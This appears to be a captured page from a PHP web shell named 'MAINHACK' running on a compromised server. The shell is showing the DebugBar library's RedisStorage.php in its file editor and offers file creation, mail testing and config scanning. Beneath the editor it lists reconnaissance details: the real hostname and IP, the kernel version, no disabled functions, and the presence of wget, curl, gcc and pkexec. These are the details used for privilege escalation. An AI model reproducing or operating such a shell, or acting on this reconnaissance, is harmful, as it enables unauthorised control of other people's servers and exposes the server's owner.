[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RedisStorage.php
<?php /* * This file is part of the DebugBar package. * * (c) 2013 Maxime Bouroumeau-Fuseau * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace DebugBar\Storage; /** * Stores collected data into Redis */ class RedisStorage implements StorageInterface { /** @var \Predis\Client|\Redis */ protected $redis; /** @var string */ protected $hash; /** * @param \Predis\Client|\Redis $redis Redis Client * @param string $hash */ public function __construct($redis, $hash = 'phpdebugbar') { $this->redis = $redis; $this->hash = $hash; } /** * {@inheritdoc} */ public function save($id, $data) { $this->redis->hSet("$this->hash:meta", $id, serialize($data['__meta'])); unset($data['__meta']); $this->redis->hSet("$this->hash:data", $id, serialize($data)); } /** * {@inheritdoc} */ public function get($id) { return array_merge(unserialize($this->redis->hGet("$this->hash:data", $id)), array('__meta' => unserialize($this->redis->hGet("$this->hash:meta", $id)))); } /** * {@inheritdoc} */ public function find(array $filters = [], $max = 20, $offset = 0) { $results = []; $cursor = "0"; $isPhpRedis = get_class($this->redis) === 'Redis' || get_class($this->redis) === 'RedisCluster'; do { if ($isPhpRedis) { $data = $this->redis->hScan("$this->hash:meta", $cursor); } else { [$cursor, $data] = $this->redis->hScan("$this->hash:meta", $cursor); } foreach ($data as $meta) { if ($meta = unserialize($meta)) { if ($this->filter($meta, $filters)) { $results[] = $meta; } } } } while($cursor); usort($results, static function ($a, $b) { return $b['utime'] <=> $a['utime']; }); return array_slice($results, $offset, $max); } /** * Filter the metadata for matches. */ protected function filter($meta, $filters) { foreach ($filters as $key => $value) { if (!isset($meta[$key]) || fnmatch($value, $meta[$key]) === false) { return false; } } return true; } /** * {@inheritdoc} */ public function clear() { $this->redis->del("$this->hash:data"); $this->redis->del("$this->hash:meta"); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.56 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002